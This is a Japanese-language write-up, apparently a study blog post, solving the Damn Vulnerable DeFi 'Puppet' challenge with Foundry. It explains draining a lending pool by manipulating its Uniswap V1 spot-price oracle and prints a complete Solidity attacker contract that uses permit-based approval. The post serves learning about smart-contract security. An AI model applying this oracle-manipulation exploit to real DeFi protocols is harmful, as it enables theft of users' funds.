チャレンジ#8 - パペット#
Solidity と Foundry のシステム学習のために、私は Foundry テストフレームワークを使用して、damnvulnerable-defi の解答を再作成しました。ご意見交換や共同開発をお待ちしています〜🎉
コントラクト#
- PuppetPool:ユーザーが ETH を使用してトークンを購入するための borrow メソッドを提供します。トークンの価格は uniswap から取得されます。
テスト#
- DamnValuableToken コントラクトをデプロイし、UniswapV1Factory と UniswapV1Exchange コントラクトをデプロイし、exchange の初期化を完了します。
- PuppetPool コントラクトをデプロイし、DamnValuableToken と UniswapV1Exchange コントラクトを渡します。
- UniswapV1Exchange にトークンと ETH の 1:1 の流動性を提供します。
- player と pool コントラクトのトークン残高をそれぞれ PLAYER_INITIAL_TOKEN_BALANCE と POOL_INITIAL_TOKEN_BALANCE に設定します。
- テストスクリプトを実行します。
- player の nonce が 1 であり、pool のトークン残高が 0 であり、player のトークン残高が POOL_INITIAL_TOKEN_BALANCE よりも大きいことを期待します。
解答#
この問題の解答方法は前の問題と似ています。pool の borrow メソッドで uniswap をトークンの価格オラクルとして使用しているため、攻撃のアプローチは uniswap のトークン価格を操作して pool でトークンを低価格で購入することです。
この問題では uniswap v1 コントラクトが提供されており、コントラクトの abi とバイトコードのみが与えられています。まず、uniswap v1 のインターフェースと使用する必要があるメソッドを整理します。
// トークンを売却してETHを取得するための計算
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// トークンを購入するために必要なETHの計算
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);
完全な攻撃フローは次の図に示すようになります:
- 最初のステップでは、
tokenToEthSwapInput
を呼び出して手持ちのトークンを売却し、ETH を取得します。これにより、uniswap でのトークンの価格が下がります。 - トークンの価格が下がった後、
lendingPool.borrow
メソッドを呼び出して、低価格でトークンを購入します。 - 最後に、
ethToTokenSwapOutput
を呼び出して、手持ちの ETH でトークンを購入し、uniswap でのトークンの価格を回復します。
これらの 3 つのステップを 1 つのトランザクションで実行することで、player は lendingPool のすべてのトークンを取得し、攻撃目標を達成することができます。
具体的な実装では、承認のステップに注意が必要です。なぜなら、問題では 1 つのトランザクションで完了する必要がありますが、uniswap を使用するためには approve が必要であり、player から攻撃コントラクト、uniswap への 3 段階の approve が関係しているため、1 つのトランザクションで実現することはできません。
しかし、DamnValuableToken
の実装コードを見ると、ERC20 プロトコルの拡張であるEIP-2612 LOGIC
が実装されていることがわかります。これには、ユーザーがオフチェーンで事前に署名し、チェーン上で検証することで、代理 approve のメカニズムを実現する permit ロジックが含まれています。詳細については、別の記事を参照してください。
完全なコントラクトコードは以下の通りです:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
DamnValuableToken token;
PuppetPool pool;
receive() external payable{} // uniswapからETHを受け取る
constructor(uint8 v, bytes32 r, bytes32 s,
uint256 playerAmount, uint256 poolAmount,
address _pool, address _uniswapPair, address _token) payable{
pool = PuppetPool(_pool);
token = DamnValuableToken(_token);
prepareAttack(v, r, s, playerAmount, _uniswapPair);
// トークンをETHに交換する--> uniswapでのトークン価格を下げる
_uniswapPair.call(abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)",
playerAmount,
1,
type(uint256).max
));
// puppt poolからトークンを借りる
uint256 ethValue = pool.calculateDepositRequired(poolAmount);
pool.borrow{value: ethValue}(
poolAmount, msg.sender
);
// uniswapにトークンを返済する--> uniswapでの残高を回復する
_uniswapPair.call{value: 10 ether}(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)",
playerAmount,
type(uint256).max
)
);
token.transfer(msg.sender, token.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
// プレイヤーのトークンを攻撃者のコントラクトに転送する
token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
token.transferFrom(msg.sender, address(this), amount);
token.approve(_uniswapPair, amount);
}
}